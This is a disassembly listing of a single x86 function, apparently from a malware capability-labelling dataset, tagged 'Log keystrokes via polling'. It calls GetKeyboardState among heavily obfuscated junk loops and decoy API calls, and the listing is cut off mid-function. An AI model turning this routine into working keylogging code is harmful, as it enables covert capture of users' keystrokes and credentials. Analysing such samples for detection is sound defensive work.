Function at 0x10018313
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006ac7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x36c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x100197d0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x124], 0x10b
mov dword [ebp - 0x270], 0x10007d78
cmp dword [ebp - 0x124], 0x26a
jle 0x1001844b
and dword [ebp - 0x70], 0
jmp 0x10018387
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x135f
jge 0x10018443
and dword [ebp - 0x50], 0
jmp 0x100183a1
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x44e8
jge 0x1001843e
and dword [ebp - 0x5c], 0
jmp 0x100183bb
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x23e4
jge 0x10018439
and dword [ebp - 0x68], 0
jmp 0x100183d1
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x6cd6
jge 0x10018434
mov ecx, dword [ebp - 0x5c]
imul ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x70]
sar eax, cl
cdq
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], edx
push dword [ebp - 0x230]
push dword [ebp - 0x234]
lea ecx, [ebp - 0x364]
call fcn.1000a79a
pop ecx
pop ecx
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x274]
call fcn.1000f625
push eax
call fcn.10053943
pop ecx
lea ecx, [ebp - 0x364]
call fcn.1000f61b
jmp 0x100183ca
jmp 0x100183b4
jmp 0x1001839a
jmp 0x10018380
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
lea eax, [ebp + 8]
mov dword [ebp - 0x244], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x124], 0xfffffdb0
jge 0x10018470
push dword [ebp - 0x270]
call fcn.10053943
pop ecx
jmp 0x1001848c
or dword [ebp - 4], 0xffffffff
jmp 0x10018496
lea eax, [ebp + 0x14]
mov dword [ebp - 0x1e0], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x1e0]
movzx eax, byte [eax]
test eax, eax
je 0x100184f7
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1ec]
movzx eax, byte [eax]
test eax, eax
je 0x100184f2
push 0
push 0x1c1c
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
jmp 0x100197ce
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x30], 0x68206240
mov dword [ebp - 0x74], 0xfffffffc
mov dword [ebp - 0x6c], 0
jmp 0x10018545
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x1001855b
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x264], 0x76df7e44
jmp 0x1001853e
mov dword [ebp - 0x30], 0
jmp 0x1001856b
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff7
je 0x100185b9
mov dword [ebp - 0x84], 0x71d976ff
mov dword [ebp - 0x84], 0xffffffff
jmp 0x10018594
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffff8
jge 0x100185b7
push 0
push 1
push 0x362d
push 1
push 0x7810
call fcn.1001623f
add esp, 0x14
jmp 0x10018587
jmp 0x10018564
mov dword [ebp - 0x30], 0x9ec4
cmp dword [ebp - 0x30], 0
jne 0x1001865d
cmp dword [ebp - 0x74], 0
je 0x10018624
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x74]
jl 0x100185e4
mov dword [ebp - 0xc0], 1
jmp 0x100185eb
and dword [ebp - 0xc0], 0
cmp dword [ebp - 0xc0], 0xeb59
jl 0x10018603
mov dword [ebp - 0xc4], 1
jmp 0x1001860a
and dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0xc4]
test eax, eax
je 0x10018624
mov dword [ebp - 0x178], 1
jmp 0x1001862b
and dword [ebp - 0x178], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x178], eax
jg 0x10018642
mov dword [ebp - 0xc8], 1
jmp 0x10018649
and dword [ebp - 0xc8], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0xc8], eax
jle 0x1001865d
and dword [ebp - 0x140], 0
jmp 0x10018667
mov dword [ebp - 0x140], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x140]
mov dword [ebp + eax - 0x264], ecx
lea ecx, [ebp - 0x308]
call fcn.1001d222
mov dword [ebp - 4], 2
mov dword [ebp - 0x20c], 0x9869ec42
mov dword [ebp - 0x48], 0x1e6e2bfb
mov dword [ebp - 0x1a0], 0x59008cf5
mov dword [ebp - 0x248], 1
mov dword [ebp - 0xf0], 1
mov dword [ebp - 0xf8], 0x6d39c7c6
mov dword [ebp - 0x30c], 0xfffffffa
mov dword [ebp - 0x148], 0xffffffff
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x3c], 0xfc6088b9
mov dword [ebp - 0x7c], 0x9968cb66
mov dword [ebp - 0xe8], 0x37d660f1
mov dword [ebp - 0x160], 1
mov dword [ebp - 0x94], 0
jmp 0x1001871e
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1001873a
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x280], 0xfffffff9
jmp 0x10018711
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x10018759
mov dword [ebp - 0x204], 1
jmp 0x10018760
and dword [ebp - 0x204], 0
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x10018772
mov dword [ebp - 0xd0], 1
jmp 0x10018779
and dword [ebp - 0xd0], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0xd0], eax
jg 0x1001878a
cmp dword [ebp - 0x3c], 0
je 0x1001879f
mov eax, 0xa0e1
test eax, eax
je 0x1001879f
mov dword [ebp - 0x198], 1
jmp 0x100187a6
and dword [ebp - 0x198], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x280]
add eax, dword [ebp - 0x198]
mov dword [ebp - 0xd8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd8]
mov dword [ebp + eax - 0x280], ecx
cmp dword [ebp - 0xd8], 0
jne 0x100187e4
cmp dword [ebp - 0x1a0], 0
je 0x100187ea
cmp dword [ebp - 0x3c], 0
jne 0x100187fc
cmp dword [ebp - 0x148], 0
jne 0x100187fc
and dword [ebp - 0xe0], 0
jmp 0x10018806
mov dword [ebp - 0xe0], 1
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0xe0], eax
jle 0x10018820
mov dword [ebp - 0x180], 1
jmp 0x10018827
and dword [ebp - 0x180], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x180], eax
jge 0x1001883b
cmp dword [ebp - 0x248], 0
jne 0x10018844
cmp dword [ebp - 0xe8], 0
je 0x10018859
cmp dword [ebp - 0xe8], 0
je 0x10018859
mov dword [ebp - 0x150], 1
jmp 0x10018860
and dword [ebp - 0x150], 0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jne 0x10018887
cmp dword [ebp - 0xf8], 0
jne 0x10018887
and dword [ebp - 0x1a8], 0
jmp 0x10018891
mov dword [ebp - 0x1a8], 1
mov eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x1a8]
jl 0x100188ab
mov dword [ebp - 0x158], 1
jmp 0x100188b2
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x158], eax
je 0x100188cc
mov dword [ebp - 0x100], 1
jmp 0x100188d3
and dword [ebp - 0x100], 0
cmp dword [ebp - 0x100], 0xfb41
jg 0x100188eb
mov dword [ebp - 0x188], 1
jmp 0x100188f2
and dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x188], eax
je 0x1001890c
mov dword [ebp - 0x108], 1
jmp 0x10018913
and dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x108]
add eax, 0x7bc7
cmp eax, dword [ebp - 0x160]
jge 0x10018932
mov dword [ebp - 0x110], 1
jmp 0x10018939
and dword [ebp - 0x110], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x48], 2
jmp 0x10018955
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x100189a7
mov dword [ebp - 0x2f0], 0xffffffff
xor eax, eax
inc eax
je 0x1001898e
mov byte [ebp - 0x31], 0
movzx eax, byte [ebp - 0x31]
test eax, eax
je 0x1001898c
push 0x7c23
push 0
push 0x4e5f
push 1
call fcn.10017392
add esp, 0x10
jmp 0x100189a5
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x280]
mov ecx, dword [ebp - 0x48]
mov dword [ebp + ecx*4 - 0x280], eax
jmp 0x1001894e
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
shr eax, 1
push eax
lea ecx, [ebp - 0x308]
call fcn.1001d2fc
mov dword [ebp - 0x118], 0x3c77
mov dword [ebp - 0x214], 0x10007dac
cmp dword [ebp - 0x118], 0x3c84
jle 0x10018a61
and dword [ebp - 0x64], 0
jmp 0x100189ee
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x17b1
jge 0x10018a61
and dword [ebp - 0x54], 0
jmp 0x10018a04
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x34c1
jge 0x10018a5f
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x54]
cdq
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], edx
push dword [ebp - 0x24c]
push dword [ebp - 0x250]
lea ecx, [ebp - 0x37c]
call fcn.1000a79a
pop ecx
pop ecx
mov dword [ebp - 0x268], eax
mov ecx, dword [ebp - 0x268]
call fcn.1000f625
push eax
call fcn.10053943
pop ecx
lea ecx, [ebp - 0x37c]
call fcn.1000f61b
jmp 0x100189fd
jmp 0x100189e7
mov byte [ebp - 4], 3
cmp dword [ebp - 0x118], 0x3a7a
jge 0x10018a7d
push dword [ebp - 0x214]
call fcn.10053943
pop ecx
jmp 0x10018a99
mov dword [ebp - 4], 2
jmp 0x10018aa9
mov dword [ebp - 0x28], 0xb9f9b319
mov dword [ebp - 0x1c], 0
jmp 0x10018ac0
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10018ad6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a8], 0xacda2a4f
jmp 0x10018ab9
mov dword [ebp - 0x1c], 0
jmp 0x10018ae6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10018afc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1d0], 8
jmp 0x10018adf
mov dword [ebp - 0x28], 0
jmp 0x10018b0c
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff6
jl 0x1001917b
mov dword [ebp - 0x2c], 0xc6f1bf50
mov dword [ebp - 0x29c], 0x693e93
mov dword [ebp - 0x298], 0x693e93
mov dword [ebp - 0x294], 0x693e93
mov dword [ebp - 0x290], 0x693e93
lea ecx, [ebp - 0x99]
call fcn.1000f95b
push eax
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x34c]
call fcn.1000f95e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1dc]
call fcn.1000f90a
mov byte [ebp - 4], 5
mov dword [ebp - 0x10c], 0x6f861669
mov dword [ebp - 0x1e4], 0xffffffff
mov dword [ebp - 0x1e8], 0xb62e56c
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0xdc], 0xafca19ab
push 3
lea ecx, [ebp - 0x2b4]
call fcn.1000f8ae
mov byte [ebp - 4], 6
mov dword [ebp - 0x130], 0xc7da
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x23c], 0x2bf4
mov dword [ebp - 0x40], 0
jmp 0x10018bec
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x10018c02
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x330], 0x8187147d
jmp 0x10018be5
mov dword [ebp - 0x168], 0x5664
mov dword [ebp - 0x254], 0x10007dec
cmp dword [ebp - 0x168], 0x56f7
jle 0x10018c89
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
and dword [ebp - 0x58], 0
jmp 0x10018c3b
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x660b
jge 0x10018c89
and dword [ebp - 0x60], 0
jmp 0x10018c51
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x176
jge 0x10018c87
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x60]
sar eax, cl
cdq
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x258], edx
push dword [ebp - 0x258]
push dword [ebp - 0x25c]
mov ecx, 0x10612078
call fcn.1000f645
jmp 0x10018c4a
jmp 0x10018c34
lea eax, [ebp - 0x40]
push eax
push 0x766e
lea eax, [ebp - 0x2b4]
push eax
push 0
push 0x6a6c
call fcn.1001cfdf
add esp, 0x14
mov byte [ebp - 4], 7
cmp dword [ebp - 0x168], 0x530f
jge 0x10018cc8
mov edx, dword [ebp - 0x254]
mov ecx, 0x10612078
call fcn.10011cee
jmp 0x10018ce4
mov dword [ebp - 4], 6
jmp 0x10018cf4
mov dword [ebp - 0x2c], 0
jmp 0x10018d04
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffffc
jge 0x10018ed3
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x21c], 0xbd55fd0a
mov dword [ebp - 0x78], 0x413e458c
mov dword [ebp - 0xac], 0x9eb11de2
mov dword [ebp - 0x22c], 0x85ffff3
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f94c
cmp dword [eax], 0
je 0x10018d51
jmp 0x10018ed3
cmp dword [ebp - 0x44], 0
jne 0x10018e4e
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x78], 0
jne 0x10018d85
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f94c
cmp dword [eax], 0
jne 0x10018d85
and dword [ebp - 0x26c], 0
jmp 0x10018d8f
mov dword [ebp - 0x26c], 1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0xac]
jle 0x10018db2
mov dword [ebp - 0x120], 1
jmp 0x10018db9
and dword [ebp - 0x120], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x120]
mov dword [ebp + eax - 0x2a8], ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2c], 0xfffffffd
jge 0x10018dfc
mov dword [ebp - 0x190], 1
jmp 0x10018e03
and dword [ebp - 0x190], 0
cmp dword [ebp - 0x190], 0xffffffff
je 0x10018e18
mov dword [ebp - 0x128], 1
jmp 0x10018e1f
and dword [ebp - 0x128], 0
mov esi, dword [ebp - 0x44]
imul esi, dword [ebp - 0x128]
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f94c
add esi, dword [eax]
mov dword [ebp - 0x78], esi
cmp dword [ebp - 0x78], 0
cmp dword [ebp - 0x44], 0
jne 0x10018e4e
and dword [ebp - 0x170], 0
jmp 0x10018e58
mov dword [ebp - 0x170], 1
mov esi, dword [ebp - 0x28]
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f94c
mov ecx, dword [ebp - 0x170]
add ecx, dword [eax]
cmp ecx, esi
jg 0x10018e80
mov dword [ebp - 0x224], 1
jmp 0x10018e87
and dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2c], 0
jne 0x10018eaf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a8], 0
jne 0x10018eaf
and dword [ebp - 0x238], 0
jmp 0x10018eb9
mov dword [ebp - 0x238], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x78]
add eax, 4
mov dword [ebp - 0x22c], eax
jmp 0x10018cfd
mov eax, 0xfffe
test eax, eax
je 0x100190cc
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0x130]
test eax, eax
je 0x10018f0e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x330], 0
je 0x10018f0e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1d0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x130]
cmp ecx, dword [ebp + eax - 0x1d0]
jl 0x10018f2f
mov dword [ebp - 0x1b0], 1
jmp 0x10018f36
and dword [ebp - 0x1b0], 0
mov eax, dword [ebp - 0x23c]
cmp dword [ebp - 0x1b0], eax
jl 0x10018f50
mov dword [ebp - 0x138], 1
jmp 0x10018f57
and dword [ebp - 0x138], 0
cmp dword [ebp - 0x138], 0xc7d0b67
jge 0x10018f6f
mov dword [ebp - 0xa0], 1
jmp 0x10018f76
and dword [ebp - 0xa0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa0]
mov dword [ebp + eax - 0x2a8], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
cmp eax, dword [ebp - 0xa0]
jg 0x10018faa
mov dword [ebp - 0xbc], 1
jmp 0x10018fb1
and dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x80]
inc edx
mov dword [ebp - 0x80], edx
cmp eax, ecx
je 0x10018fd7
cmp dword [ebp - 0x1e4], 0
jne 0x10018fd7
and dword [ebp - 0xb8], 0
jmp 0x10018fe1
mov dword [ebp - 0xb8], 1
cmp dword [ebp - 0xb8], 0xfffffff9
jle 0x10018ff6
mov dword [ebp - 0xcc], 1
jmp 0x10018ffd
and dword [ebp - 0xcc], 0
mov esi, dword [ebp - 0x2c]
push 1
lea ecx, [ebp - 0x2b4]
call fcn.1000f94c
mov ecx, dword [ebp - 0xcc]
sub ecx, dword [eax]
cmp ecx, esi
je 0x10019025
mov dword [ebp - 0xd4], 1
jmp 0x1001902c
and dword [ebp - 0xd4], 0
cmp dword [ebp - 0xd4], 0
jne 0x10019047
cmp dword [ebp - 0xdc], 0
jne 0x10019047
and dword [ebp - 0xe4], 0
jmp 0x10019051
mov dword [ebp - 0xe4], 1
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0xe4], eax
je 0x1001906b
mov dword [ebp - 0xec], 1
jmp 0x10019072
and dword [ebp - 0xec], 0
cmp dword [ebp - 0xec], 0x3d6e0afc
jle 0x1001908a
mov dword [ebp - 0xf4], 1
jmp 0x10019091
and dword [ebp - 0xf4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d0]
imul eax, dword [ebp - 0xf4]
cmp eax, 0xffff
ja 0x100190b8
mov dword [ebp - 0xfc], 1
jmp 0x100190bf
and dword [ebp - 0xfc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x31c], eax
mov esi, dword [ebp - 0x80]
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f94c
cmp esi, dword [eax]
jl 0x10019110
mov dword [ebp - 0x114], 1
jmp 0x10019117
and dword [ebp - 0x114], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1d0]
add ecx, dword [ebp - 0x114]
cmp ecx, dword [ebp + eax - 0x1d0]
je 0x10019145
mov dword [ebp - 0x11c], 1
jmp 0x1001914c
and dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1e8], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2b4]
call fcn.1000f930
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1dc]
call fcn.1000f930
jmp 0x10018b05
and dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [eax]
jae 0x1001979c
mov dword [ebp - 0x1f0], 0x3eca4f83
mov dword [ebp - 0x24], 0
jmp 0x100191aa
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100191c0
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x344], 0xfffffffe
jmp 0x100191a3
mov dword [ebp - 0x24], 0
jmp 0x100191d0
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100191e6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x288], 0
jmp 0x100191c9
mov dword [ebp - 0x1f0], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x288]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x288], eax
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x200], eax
and dword [ebp - 0x98], 0
jmp 0x10019234
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x98], 2
jae 0x1001950d
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0xb0], 0xffffffff
mov dword [ebp - 0xa8], 0xfffffffd
mov dword [ebp - 0x88], 0
jmp 0x10019275
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1001928e
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x20], 0xfffffff8
jmp 0x10019268
mov dword [ebp - 0x14], 0
jmp 0x1001929e
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x10019497
mov dword [ebp - 0x1c4], 0x32bb11ac
mov dword [ebp - 0x1c0], 0x32bb11ac
mov dword [ebp - 0x1bc], 0x32bb11ac
mov dword [ebp - 0x1b8], 0x32bb11ac
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1c4], 0
jmp 0x100192fe
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1c4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1c4], 0
jg 0x10019492
mov dword [ebp - 0x1f8], 0x52487223
mov dword [ebp - 0x90], 0
jmp 0x10019335
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10019351
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x33c], 0x80366e52
jmp 0x10019328
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x20], 0
je 0x100193b9
mov dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x20], 0xd35da2a
jg 0x100193b9
cmp dword [ebp - 0xa8], 0
je 0x100193b9
mov dword [ebp - 0x12c], 1
jmp 0x100193c0
and dword [ebp - 0x12c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x20]
imul eax, dword [ebp - 0x12c]
add eax, 0x7fb0
je 0x100193f8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 0
je 0x100193f8
mov dword [ebp - 0x134], 1
jmp 0x100193ff
and dword [ebp - 0x134], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x134]
sub edx, dword [ebp + ecx*4 - 0x20]
sub edx, dword [ebp + eax - 0x20]
jne 0x10019428
push 2
pop eax
test eax, eax
jne 0x10019428
and dword [ebp - 0x13c], 0
jmp 0x10019432
mov dword [ebp - 0x13c], 1
mov eax, dword [ebp - 0x13c]
add eax, 0xfff9
jne 0x1001945c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c4]
cmp dword [ebp + eax*4 - 0x20], 0
jne 0x1001945c
and dword [ebp - 0x144], 0
jmp 0x10019466
mov dword [ebp - 0x144], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x144]
sub ecx, dword [ebp + eax - 0x1c4]
add ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x14]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x33c], ecx
jmp 0x100192e3
jmp 0x10019297
push 0
lea eax, [ebp - 0xb0]
push eax
push 0
push 0x12b5
push 0x3cee
push 0x3e49
push 0x4f88
call fcn.1001a1b1
add esp, 0x1c
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
add eax, dword [ebp - 0x4c]
xor edx, edx
div dword [0x106117dc]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 4]
movzx edx, byte [eax + edx]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
add eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
movzx ecx, byte [ecx + eax]
call fcn.10012ce2
mov ecx, dword [ebp - 0x200]
add ecx, dword [ebp - 0x98]
mov byte [ecx], al
jmp 0x10019220
mov dword [ebp - 0x18], 0x13923ccd
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0x218], 0xde0f4c9f
mov dword [ebp - 0x2d4], 0xe568
mov dword [ebp - 0x8c], 0
jmp 0x10019552
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x1001956e
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x2c4], 0x737a30b9
jmp 0x10019545
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x10019582
mov dword [ebp - 0x194], 1
jmp 0x10019589
and dword [ebp - 0x194], 0
cmp dword [ebp - 0x18], 0
jne 0x1001959b
mov dword [ebp - 0x15c], 1
jmp 0x100195a2
and dword [ebp - 0x15c], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x15c]
je 0x100195b9
mov dword [ebp - 0x164], 1
jmp 0x100195c0
and dword [ebp - 0x164], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x164], eax
jg 0x100195d7
mov dword [ebp - 0x208], 1
jmp 0x100195de
and dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jne 0x100195fd
cmp dword [ebp - 0x38], 0
mov eax, 0xd04c
test eax, eax
je 0x10019618
cmp dword [ebp - 0x38], 0
je 0x10019618
mov dword [ebp - 0x174], 1
jmp 0x1001961f
and dword [ebp - 0x174], 0
